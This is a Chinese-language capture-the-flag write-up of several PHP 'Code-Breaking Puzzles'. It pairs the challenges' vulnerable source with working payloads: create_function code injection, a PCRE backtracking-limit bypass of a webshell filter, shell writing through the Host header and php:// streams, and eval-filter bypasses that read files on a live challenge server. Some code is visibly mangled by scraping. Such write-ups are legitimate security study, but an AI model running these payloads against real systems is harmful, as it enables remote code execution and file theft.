Code-Breaking Puzzles是一场完全开放源代码的Web解密游戏,其包含但不限于PHP、Java、Node.js、Python等语言的代码审计知识。
p师傅的知识星球真是干货多多,刚刚加入就遇到这个,赶忙的学习了一波.
function PHP函数利用技巧
pcrewaf PHP正则特性
phpmagic PHP写文件技巧
phplimit PHP代码执行限制绕过
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
.
要匹配换行符$
要匹配换行符php里默认命名空间是,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
所以可以通过function_name这样的形式绕过正则
$arg
,需要某个函数的第二个参数比较危险PHP create_function()代码注入
遍历目录
?action=create_function&arg=return 1;}var_dump(glob("/var/www/*"));//
或
http://51.158.75.42:8087/?action=create_function&arg=return 1;}var_dump(scandir("/var/www/"));//
获取flag
?action=create_function&arg=return 1;}readfile("/var/www/flag_h0w2execute_arb1trary_c0de");//
'].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}
正则表达式匹配一个php的shell,这正则过滤很严格
要利用php的最大回溯次数来绕过
p师傅的PHP利用PCRE回溯次数限制绕过某些安全限制
php开发者的深悉正则(pcre)最大回溯/递归限制
<form enctype="multipart/form-data" action="http://51.158.75.42:8088/" method="POST">
Send this file: <input name="file" type="file" />
<input type="submit" value="Send File" />
form>
随便上传一个文件,拦截后改一下
import requests
from io import BytesIO
files = {
'file': BytesIO(b' + b'a'*1000000)
}
rep = requests.post('http://51.158.75.42:8088/index.php',files=files,
allow_redirects=False) #关闭重定向
print(rep.headers)
主要的源码
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif; ?>
$domain
被escapeshellarg
过滤,无法利用shell_exec
,又被htmlspecialchars
过滤,<
会被转换,无法直接写shell$log_name
由$_SERVER['SERVER_NAME']
和$log_name
拼接,$log_name
是可控的$_SERVER['SERVER_NAME']
是可控的,它的值是HTTP headers
中的Host
的值phpinfo
,只要在后缀名后加上/.,pathinfo
就取不到后缀名,且可以正常写入.php之中。具体原因还不清楚.先放在这以后在看file_put_contents
的第一个参数显然就是传filename的地方,可以用协议流Host
与log
组成php协议,doamin
为写入的shell的base64
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
*(?R)
递归的正则匹配,表达正则模式自身,PHP正则之递归匹配
,匹配的是一个str(str(str()))
的形式.函数套函数不能有参数
先session_start()
,然后session_id()
可以直接获得sessionid
,然后就可以在cookie
中的sessionid
里写东西了
不过sessionid里只能有a-zA-Z0-9,(逗号)和-(减号)符号,可以通过hex2bin()
来转换成可执行代码
先把要执行的shell转换为十六进制
getallheaders
原题为RCTF2018中的r-cursive,题目是Apache环境,用的
getallheaders
绕过,本题环境为nginx
http://51.158.75.42:8084/?1=phpinfo();&code=eval(implode(reset(get_defined_vars())));
#reset 指向数组的第一个单元
#implode 数组的值转化为字符串
code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));